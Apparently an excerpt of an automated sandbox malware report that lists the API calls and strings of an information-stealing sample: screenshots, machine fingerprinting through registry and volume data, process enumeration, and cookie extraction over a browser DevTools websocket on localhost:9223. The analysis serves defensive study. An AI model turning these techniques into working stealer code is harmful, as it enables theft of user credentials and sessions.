CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041179A
malloc.MSVCRT ref: 00411847
CloseWindow.USER32(?), ref: 0041199A

Strings

screenshot.jpg, xrefs: 0041190B
image/jpeg, xrefs: 00411870

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: CloseCreateGlobalStreamWindowmalloc
String ID: image/jpeg$screenshot.jpg
API String ID: 1619257637-3715547155
Opcode ID: dbd9f64fb0aa9104faf8379c29acdbf43410a5c7dd22b002181252473fb5666b
Instruction ID: ee18476c3b49a6e7ea655472561b7fd097213a4b83d20557ae7d52cec962e0ac
Opcode Fuzzy Hash: dbd9f64fb0aa9104faf8379c29acdbf43410a5c7dd22b002181252473fb5666b
Instruction Fuzzy Hash: F6713D71900619EFDF04AFA0DD89AEEBB79FF08304F005019FA16A7161DB759985CBE4

Function 00411120 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?), ref: 004111AE
RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF), ref: 004111CF
CharToOemA.USER32(?,?), ref: 004111EB

Strings

SOFTWARE\Microsoft\Cryptography, xrefs: 004111A4
MachineGuid, xrefs: 004111C6

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValue
String ID: MachineGuid$SOFTWARE\Microsoft\Cryptography
API String ID: 3174779972-1211650757
Opcode ID: 16c12f2459baa2cbda43e8e84c2d79d172a174663800f26a122aadbda53f4b45
Instruction ID: 74cc808a3cf8f870bdb796636e5c792b2cd0ecd8dddfbe9d76d68e0a257a884b
Opcode Fuzzy Hash: 16c12f2459baa2cbda43e8e84c2d79d172a174663800f26a122aadbda53f4b45
Instruction Fuzzy Hash: C8214521D1C7C296E360CB10CD557FBB7A4ABF6348F11A71EB5CC51072EAB061D48342

Function 00410540 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 133COMMON

Download Yara Rule

APIs

GetVolumeInformationA.KERNEL32 ref: 004105AE

Strings

C, xrefs: 0041056D
%08lX%04lX%lu, xrefs: 0041064C
:\, xrefs: 00410578

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID: %08lX%04lX%lu$:\$C
API String ID: 2039140958-545181305
Opcode ID: 90bb885e6cb9c3f254673d7949eac57a71e00247e07ca877e6107e12700a4b67
Instruction ID: daccc5cf811b00eb36f485bb9bb5cfb034b4705064687d02f987ca2459062bbc
Opcode Fuzzy Hash: 90bb885e6cb9c3f254673d7949eac57a71e00247e07ca877e6107e12700a4b67
Instruction Fuzzy Hash: 6141D4705083107BD301BB718C85BBF7AE99FC5784F00491EF58597291EBBC99829BAA

Function 00410B30 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System\CentralProcessor\0,00000000,00020119,?), ref: 00410B68
RegQueryValueExA.KERNEL32(?,ProcessorNameString,00000000,00000000,00000000,000000FF), ref: 00410B85

Strings

ProcessorNameString, xrefs: 00410B7C
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00410B5E

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: OpenQueryValue
String ID: HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString
API String ID: 4153817207-2804670039
Opcode ID: ad177650e976e3d35c7c3a9112606bb10243cc343026616705170833e325d11c
Instruction ID: 414338a11f3689f75f6fdb63b0f136fa5a8568cc8c95f28b9b39ab38a5685d7b
Opcode Fuzzy Hash: ad177650e976e3d35c7c3a9112606bb10243cc343026616705170833e325d11c
Instruction Fuzzy Hash: 04F08230784320BBD3106B24AC0AF5A7A99AB45B51F504029F685A71E1D6A06C508BD5

Function 00402790 Relevance: 6.1, APIs: 4, Instructions: 104networkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400,?,?,?,?,004042B3,00416A04,?,?,00416A04), ref: 004028AB
??_U@YAPAXI@Z.MSVCRT(00000400,00416A04,?,?,00416A04), ref: 004028BB
??_U@YAPAXI@Z.MSVCRT(00000400,?,00416A04,?,?,00416A04), ref: 004028CB
InternetCrackUrlA.WININET(00000000,00000000,00000000,?,?,?,00416A04,?,?,00416A04), ref: 004028FA

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: CrackInternet
String ID:
API String ID: 1381609488-0
Opcode ID: eb32d055481cfcfea5bcf2ec92b33cade9e980cf0e98d2aab512a40ed34b2186
Instruction ID: 62d16cf430872f387fa1639693609a914c0cef2d6ed42a20a6b15e59f3bc2f55
Opcode Fuzzy Hash: eb32d055481cfcfea5bcf2ec92b33cade9e980cf0e98d2aab512a40ed34b2186
Instruction Fuzzy Hash: C9516AA01083C089EB46DF29D4E97477E955B26318F1982D9DC880F2CBC3BAC558C7FA

Function 00411ED0 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00411EE5
Process32First.KERNEL32(00000000,?), ref: 00411EF1
Process32Next.KERNEL32(00000000,?), ref: 00411F12
CloseHandle.KERNEL32(00000000), ref: 00411F2F

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 234b9e45be6b4865743ac96729f42ba8cccf2db60987f779249a5982b7c5a760
Instruction ID: 12a5467778ca0c5a55c84e6a3ebf7af38e155dcebc9527c53f9d4ce48d6bebb5
Opcode Fuzzy Hash: 234b9e45be6b4865743ac96729f42ba8cccf2db60987f779249a5982b7c5a760
Instruction Fuzzy Hash: 33F06D312052156BE3201B22EC08FABBBECEF86795F04142DF549D6260DB289852C7B5

Function 00410700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 00410716
memset.MSVCRT ref: 0041073F

Part of subcall function 00411E60: malloc.MSVCRT ref: 00411E71
Part of subcall function 00411E60: strncpy.MSVCRT ref: 00411E82

Strings

Unknown, xrefs: 004107A0

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: CurrentProfilemallocmemsetstrncpy
String ID: Unknown
API String ID: 3692255074-1654365787
Opcode ID: d785fc04096e95acf34b7e6468c066d787f928fe986cc39c3c6a36b777bc4be0
Instruction ID: 9523786d007b465f85d219b7e39a8a5dfbdd483b20afe91046872d233f87955e
Opcode Fuzzy Hash: d785fc04096e95acf34b7e6468c066d787f928fe986cc39c3c6a36b777bc4be0
Instruction Fuzzy Hash: 9201A5313003187BD620B6629C56FEF775E9FC5758F04082EB9455B282DEBCA8C587AA

Function 00413E50 Relevance: 4.6, APIs: 3, Instructions: 112sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?,?), ref: 00413F0F
CreateThread.KERNEL32(00000000,00000000,00416EA0,?,00000000,00000000), ref: 00413F6C
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00413F78

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: a8e46a763f59d357cb157831e2caf77c99b8258767ef6419c4d21c1fd91626e4
Instruction ID: b65bf78c018c26f30e4a94ab22d84a19a40ae7d672281f86a08f23e214b62c4f
Opcode Fuzzy Hash: a8e46a763f59d357cb157831e2caf77c99b8258767ef6419c4d21c1fd91626e4
Instruction Fuzzy Hash: DA41B1312143409FD314EF61D895BDEB3E9ABC8304F40481EF48A97291DBBCAD89CB66

Function 004076B0 Relevance: 4.6, APIs: 3, Instructions: 74filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 004076EE
LocalAlloc.KERNEL32(00000040,003694E8), ref: 00407723
ReadFile.KERNEL32(00000000,A075FFA4,003694E8,?,00000000), ref: 00407744

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: File$AllocCreateLocalRead
String ID:
API String ID: 3093261258-0
Opcode ID: 6e03da7bb686982697c9352cba9d24d53c2a6859cb69aed1fdb7ab7d2ece8e95
Instruction ID: 57bb2ce498e656ac9101d6a6683512ef7afea4cd211be1053fa5c26a8075d75e
Opcode Fuzzy Hash: 6e03da7bb686982697c9352cba9d24d53c2a6859cb69aed1fdb7ab7d2ece8e95
Instruction Fuzzy Hash: DF21DE75204B009FC320EF64C984A6AB7F5FF89354F00482DF996CB2A0D735B945CBA2

Function 00410FE0 Relevance: 4.6, APIs: 3, Instructions: 62processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00411009
Process32First.KERNEL32(00000000,00000128), ref: 00411017
Process32Next.KERNEL32(00000000,00000128), ref: 00411027

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1238713047-0
Opcode ID: 58348e437a27bc0644566453b947fbefec51a5999494bbe316478c62b720522d
Instruction ID: ad10719cd445ab04cf283b63720ee16ebf2a6e79acd2848d50ffecdf406f3b24
Opcode Fuzzy Hash: 58348e437a27bc0644566453b947fbefec51a5999494bbe316478c62b720522d
Instruction Fuzzy Hash: 571182743002146FD7106B62AC89FFFBB9DEFC9754F04542EB50A86291DE7C9884C6A6

Function 00411FA0 Relevance: 4.6, APIs: 3, Instructions: 59processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00411FB6
Process32First.KERNEL32(00000000,00000128), ref: 00411FC4
Process32Next.KERNEL32(00000000,00000128), ref: 00411FD0

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Process32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1238713047-0
Opcode ID: 73d56ab98b17da3653dff67e089b2de93a438a2d9c22f275f8cd819916ddfa29
Instruction ID: 924cd2998aa8e6582c44da8d0305fac9719003efd41fa9ed3311d7015259d757
Opcode Fuzzy Hash: 73d56ab98b17da3653dff67e089b2de93a438a2d9c22f275f8cd819916ddfa29
Instruction Fuzzy Hash: 0B115231104305AFD3201F61BD0CFAFBAADEBC9785F04501DFA45D62A0DF79A851CAA9

Function 004108E0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,00401135,?,0042095F,?,0042035D,?,00420C67,?,00420449,?,0042060F,?,0042035D), ref: 004108E2
HeapAlloc.KERNEL32(00000000,00000000,00000104,?,00401135,?,0042095F,?,0042035D,?,00420C67,?,00420449,?,0042060F), ref: 004108F0
GetComputerNameA.KERNEL32(00000000), ref: 00410903

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: feae78843d13951cbab47ac6d3ffa1349c38900b414b545e2837c5939a7629b8
Instruction ID: bdf7840bdb5d23557ca24adf21b56bf8b998ac4781c5fcf1cdb6254bbd2a154a
Opcode Fuzzy Hash: feae78843d13951cbab47ac6d3ffa1349c38900b414b545e2837c5939a7629b8
Instruction Fuzzy Hash: 34D05EF07012206BE720AB69BC5DB873A9CAF157A1F440031F986C6260D3B888C1C699

Function 00410CB0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00411270: memset.MSVCRT ref: 00411281

GlobalMemoryStatusEx.KERNEL32(?,?,00000000,00000040,?,?,?,?,?,?,?,?,?,?,00417920,?), ref: 00410CE7

Strings

%d MB, xrefs: 00410D09

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatusmemset
String ID: %d MB
API String ID: 790235955-2651807785
Opcode ID: 4d81009c1fb0d01048417fa34eff7a46ff86d7423faa8b714d64e7233f6e460f
Instruction ID: 3e3ed3bcd73a1407d336ad636cad1e72ca107bb31f9cc5cd81d28413454cfe9f
Opcode Fuzzy Hash: 4d81009c1fb0d01048417fa34eff7a46ff86d7423faa8b714d64e7233f6e460f
Instruction Fuzzy Hash: BEF02B71700200B7D7106715DC46F6F7BAADBC17B1F040119F656A32D0CA746C11C7DA

Function 004116B0 Relevance: 3.1, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 00411706
GetLastError.KERNEL32 ref: 00411733

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: AllocateErrorHeapLast
String ID:
API String ID: 2649838465-0
Opcode ID: 337ad27f9ad8079b430cc19cc8451ae19a993c84305c3c21a313def544d549b9
Instruction ID: b00e23e61dcd96af2d5a42df421a2e3100774d4436a7fe2bda2c6e10979a2865
Opcode Fuzzy Hash: 337ad27f9ad8079b430cc19cc8451ae19a993c84305c3c21a313def544d549b9
Instruction Fuzzy Hash: 2C114575204202AFE7208F25EC44F67BBA9EF88700F15081DF6A2973A0DB75EC41CBA5

Function 00411B80 Relevance: 1.5, APIs: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00411BAD

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5fd128bd3f60fd455576c9f3abd4fb244e883b3ced7d24e4adf943e857a9464f
Instruction ID: ca78cda8c920ae7da25bbd8c375dff46666a8013e4c9ac76a8aa62fa3564fd1b
Opcode Fuzzy Hash: 5fd128bd3f60fd455576c9f3abd4fb244e883b3ced7d24e4adf943e857a9464f
Instruction Fuzzy Hash: B50184729096148BC300EF7CD94559EBBF0BB85725F014729ED94D7260E730AA99CBD3

Function 00411CC0 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00411CF4

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 640dad66fecb186e80dcf41244515ab4ac3902d155f7ecbd00ab4fd3f5a4e88e
Instruction ID: 17c2f96a6e384425bd33d4ac7292e407ff3d1e4c2ad55af778a65a8cd36ca61f
Opcode Fuzzy Hash: 640dad66fecb186e80dcf41244515ab4ac3902d155f7ecbd00ab4fd3f5a4e88e
Instruction Fuzzy Hash: 77E092B13002107BD7206769AC4AFEB3A69AB85B55F040419F785CB2C0CAB598C083E2

Function 00411520 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,?,?,0040B1C7,?,?,0000001C,0042150A), ref: 00411535

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: bb211eadf6e2018455b62e0e4d58cc15ac1c3b02b046a00b78ea14b051ebdca4
Instruction ID: fe820049153354b6effd4291471353984c4611ada376a903b3c10ac4968f751e
Opcode Fuzzy Hash: bb211eadf6e2018455b62e0e4d58cc15ac1c3b02b046a00b78ea14b051ebdca4
Instruction Fuzzy Hash: 87D0A7773013225F4B006AEA2C948CF530DEBC0358741042FF50097100CA686D4B86F9

Function 00411F50 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

SHFileOperationA.SHELL32(?), ref: 00411F94

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: c3e2beda51f352537e61fd5ee3caea32b3d27932eb1cd671ceaa09e9ee001911
Instruction ID: dccbb589212da41187320816474e935ed05e6db7b62261ff46e18f4692dac182
Opcode Fuzzy Hash: c3e2beda51f352537e61fd5ee3caea32b3d27932eb1cd671ceaa09e9ee001911
Instruction Fuzzy Hash: 1CE07EB0608301ABE300DF46D55970BBBE0EB98308F40885DF0948B250D3B9C69C8B9B

Function 004115B0 Relevance: 1.3, APIs: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,00000000,?,?,00416A58,00000000,00000000), ref: 004115D4

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: b38a9e7ed61c5d22f0853085b7a7a3d5c5348526e860f7e8d8c563a0389266a6
Instruction ID: ab5a9e63b36d8a4e180a9fb52d0f1ced6ce58d3d562b5a6390f3396a209e36a0
Opcode Fuzzy Hash: b38a9e7ed61c5d22f0853085b7a7a3d5c5348526e860f7e8d8c563a0389266a6
Instruction Fuzzy Hash: 88219E31608A520FC73A4F3945D0BB6B752AF97245B0DC37FDA4507777DA2A48C54264

Non-executed Functions

Function 0041D3F0 Relevance: 7.6, APIs: 5, Instructions: 109fileCOMMON

Download Yara Rule

APIs

??_V@YAXPAX@Z.MSVCRT(?), ref: 0041D418
??_U@YAPAXI@Z.MSVCRT(?), ref: 0041D42E
memcpy.MSVCRT(?,?,?), ref: 0041D43F
memcpy.MSVCRT(?,?,?), ref: 0041D4DB
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0041D4F9

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: memcpy$FileWrite
String ID:
API String ID: 3457131274-0
Opcode ID: 42936b729b504c8ec363dc8e9866ebb1567e7e734c606f103ee9ac6311c9dd95
Instruction ID: 75c582a46244fff173573742a7ab3bbcd042cdd94e8295cbfc9d5a78f2bf368e
Opcode Fuzzy Hash: 42936b729b504c8ec363dc8e9866ebb1567e7e734c606f103ee9ac6311c9dd95
Instruction Fuzzy Hash: A03107F1A0474ABFD354DF25ED84AA7B7A8FB45308F44412AE84483B41E338F965CBA5

Function 0040D250 Relevance: 44.0, APIs: 29, Instructions: 450memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040D080: lstrlenA.KERNEL32(?), ref: 0040D09D
Part of subcall function 0040D080: strchr.MSVCRT ref: 0040D0B6
Part of subcall function 0040D080: strchr.MSVCRT ref: 0040D0CE
Part of subcall function 0040D080: lstrlenA.KERNEL32(?), ref: 0040D0EA
Part of subcall function 0040D080: strlen.MSVCRT ref: 0040D130
Part of subcall function 0040D080: strcpy_s.MSVCRT ref: 0040D184

strcpy_s.MSVCRT ref: 0040D2D6
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D2EC
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D322
strcpy_s.MSVCRT ref: 0040D34E
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D364
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D38F
strcpy_s.MSVCRT ref: 0040D3B7
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D3CD
HeapFree.KERNEL32(00000000,00000000,-00000001), ref: 0040D3EE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040D419
??3@YAXPAX@Z.MSVCRT(00000000,0042150A,00000000), ref: 0040D7C4
??3@YAXPAX@Z.MSVCRT(00000000,0042150A,00000000), ref: 0040D811

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: FreeHeap$strcpy_s$??3@lstrlenstrchr$strlen
String ID:
API String ID: 1043663302-0
Opcode ID: 72cdda64b41f2c5f2a1f08ffc243dcb9b35d119eec99e21d0205ef634b2de86d
Instruction ID: ca06d6565e22a4b8139dc5fe8ec41e059b536d5ea08dc7ed3398fadcca26eeb0
Opcode Fuzzy Hash: 72cdda64b41f2c5f2a1f08ffc243dcb9b35d119eec99e21d0205ef634b2de86d
Instruction Fuzzy Hash: F7F1D5B19043005BD710ABA5CD49B6FBBE9EF85714F04083EF986972D1D778AC48CB9A

Function 00406AA0 Relevance: 31.9, APIs: 13, Strings: 5, Instructions: 416COMMON

Download Yara Rule

Strings

localhost, xrefs: 00406BFE
ws://localhost:9223, xrefs: 00406C52
/devtools, xrefs: 00406C0C
.txt, xrefs: 00406D7A
Cookies, xrefs: 00406D3F

Memory Dump Source

Source File: 00000005.00000002.2770513290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2770513290.00000000005AC000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2770513290.0000000000637000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_aD7D9fkpII.jbxd

Yara matches

Similarity

API ID: ??2@??3@memcpy
String ID: .txt$/devtools$Cookies$localhost$ws://localhost:9223
API String ID: 1695611338-4155744131
Opcode ID: 1e4706adc10695a6a7650f11896172624ac0887ad6bc57d91c858792225effed
Instruction ID: b745cebb343ebaf7917439795664f4dc5ec349037e75ec0584470be98ece6274
Opcode Fuzzy Hash: 1e4706adc10695a6a7650f11896172624ac0887ad6bc57d91c858792225effed
Instruction Fuzzy Hash: 08D105B1A002145BDB24DF64DD84AAFB775EF41308F11052EF903A72C2DB7CAD958B99

Function 00415700 Relevance: 28.5, APIs: 7, Strings: 9, Instructions: 493stringCOMMON

